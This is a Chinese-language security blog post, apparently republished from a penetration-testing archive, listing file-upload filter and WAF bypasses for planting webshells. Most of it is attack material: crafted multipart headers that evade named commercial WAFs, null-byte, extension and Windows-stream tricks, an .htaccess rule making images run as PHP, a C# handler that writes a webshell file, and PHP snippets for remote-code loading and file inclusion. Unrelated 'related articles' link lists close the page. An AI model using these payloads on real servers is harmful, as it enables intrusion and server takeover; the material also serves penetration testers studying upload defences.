00截断上传绕过_Getshell | 文件上传绕过整理
WAF绕过
安全狗绕过
1.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;
2.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
3.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
4.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
5.双文件上传绕过
name="form1" enctype="multipart/form‐data">
6.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
7.HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
8.等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等
WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
MIME类型绕过
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过
文件内容检测绕过
抓包,在正常图片末尾添加一句话木马
多次上传Win特性绕过
多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。
条件竞争绕过
通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
文件内容检测绕过
针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件幻术头绕过
垃圾数据填充绕过
修改HTTP请求,再之中加入大量垃圾数据。
黑名单后缀绕过
文件扩展名绕过
Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀
ashx上传绕过
cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
//这里会在目录下生成一个test.asp的文件
StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
//这里是写入一句话木马 密码是:ptu
file1.Write("");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
特殊文件名绕过
比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
Windows流特性绕过
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
白名单后缀绕过
00截断绕过上传
php .jpg 空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/
htaccess解析漏洞
上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpg
突破MIME限制上传
方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。
Apache解析漏洞
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。
IIS解析漏洞
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
解析漏洞
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
前端限制绕过
1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。
下载绕过
远程下载文件绕过
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>
文件包含绕过
上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
推荐阅读:
http://0-sec.org/
很多优质的文章和干货,后续还会继续更新
大家可以收藏下,笔记记录一波
参考来源:零组资料文库
已获授权,如有疑问,请联系小编
00截断上传绕过_Getshell | 文件上传绕过整理相关推荐
- php上传禁止php_文件上传限制绕过技巧
原标题:文件上传限制绕过技巧 严正声明:本文仅限于技术讨论,严禁用于其他用途. 简介 文件上传漏洞是web安全中经常利用到的一种漏洞形式.一些web应用程序中允许上传图片,文本或者其他资源到指定的位置 ...
- php 上传文件漏洞,【文件上传】PHP文件上传漏洞
0x01 文件上传漏洞 文件上传漏洞顾名思义就是用户上传一个可执行的脚本文件,获得了执行服务器端命令的能力.通常,文件上传是getshell最常用.最直接的方式了.但是,文件上传本身是一个正常的业务需 ...
- windows上软件上传至linux上,《如何将windows上的软件包或文件上传到linux服务上》...
如何将windows上的软件包或文件上传到linux服务上,下一句就是如何让将linux的文件下载到win上.哈哈 方法不止这一种,有超多的方法,要是虚拟机,它自带的有share这个选项,你可以点击v ...
- 文件上传 java web_JavaWeb 文件上传下载
1. 文件上传下载概述 1.1. 什么是文件上传下载 所谓文件上传下载就是将本地文件上传到服务器端,从服务器端下载文件到本地的过程.例如目前网站需要上传头像.上传下载图片或网盘等功能都是利用文件上传下 ...
- ***使用PHP实现文件上传和多文件上传
http://www.365mini.com/page/php-upload-file.htm 在PHP程序开发中,文件上传是一个使用非常普遍的功能,也是PHP程序员的必备技能之一.值得高兴的是,在P ...
- SpringMVC 单文件上传与多文件上传
一.简述 一个javaWeb项目中,文件上传功能几乎是必不可少的,本人在项目开发中也时常会遇到,以前也没怎么去理它,今天有空学习了一下这方面的知识,于是便将本人学到的SpringMVC中单文件与多文件 ...
- springboot文件上传下载实战 ——文件上传、下载、在线打开、删除
springboot文件上传下载实战 文件上传 文件上传核心 UserFileController 文件上传测试 文件下载与在线打开 文件下载.在线打开核心 UserFileController 文件 ...
- 多文件上传,大文件上传3、5个G,那都不是事
一套大文件上传的教程给大家. https://www.yyjcw.com/html/ke/34.html 重点讲解了多文件上传,大文件上传,分块上传,断点续传,文件秒传,上传失败自动修复再上传等功能, ...
- springboot文件上传,单文件上传和多文件上传,以及数据遍历和回显
springboot文件上传,单文件上传和多文件上传 项目结构及pom.xml 创建文件表单页面 编写javabean 编写controller映射 MultipartFile类 @RequestPa ...
- 前后端分离 -- 深入浅出 Spring Boot + Vue + ElementUI 实现相册管理系统【文件上传 分页 】 文件上传也不过如此~
前后端分离 – 深入浅出系列 Spring Boot + Vue + ElementUI 实现相册管理系统[文件上传 分页 ] 文件上传也不过如此~ 引言 Hello,我是Bug终结者,一名热爱后端J ...
最新文章
- 【2017下集美大学软工1412班_助教博客】结对编程1——模块化
- Glide DiskCache 原理分析
- VLFeat SLIC超像素分割(Cpp版)
- android 卡片3d效果_小米发布伸缩镜头技术:卡片机失业,多摄下岗?
- java委托事件与观察者模式_多播委托与观察者模式联合使用,以及委托与事件的区别...
- 绕安全狗mysql_技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
- 类名作为方法和形参的返回值
- 【工程项目经验】之软链接跟硬链接
- Java 多线程详解(三)------线程的同步
- 从3D Studio Max导入物体 Importing Objects From 3D Studio Max
- 大地坐标系是不是经纬度_批量导入经纬度点到奥维地图中
- librdkafka 封装的C++类
- 小米pro15拆机_实战小米笔记本PRO 15.6寸拆解 加装M.2海力士固态硬盘
- html表格中加入分割线,表格分割线一分为三 WORD表格怎么插入一条竖的分割线
- HTML、css、js 特殊字符(空格符号)
- 画一个神经元的结构简图,神经元的简图画法
- 由英雄无敌Online开源 想到的
- Linux网络通讯命令大全
- 私有化场景下大规模云原生应用的交付实践
- python pandas合并单元格_python pandas拆分单元格
热门文章
- adb server is out of date. killing... 解决方案
- 深度学习面试题之LSTM补充
- 一文读懂电子材料行业最新发展趋势
- pandas用法-全网最详细教程
- 音视频入门系列-字幕篇(SSA ASS)
- python for spss statistics_SPSS Statistics功能介绍
- python考勤系统_python – 使用Django的考勤系统
- 大话移动通信(第2版)!(文末赠书福利)
- java steam的缓冲区_SSM框架完结篇 SpringMVC与Steam前后台功能模块开发
- 69. Sqrt(x)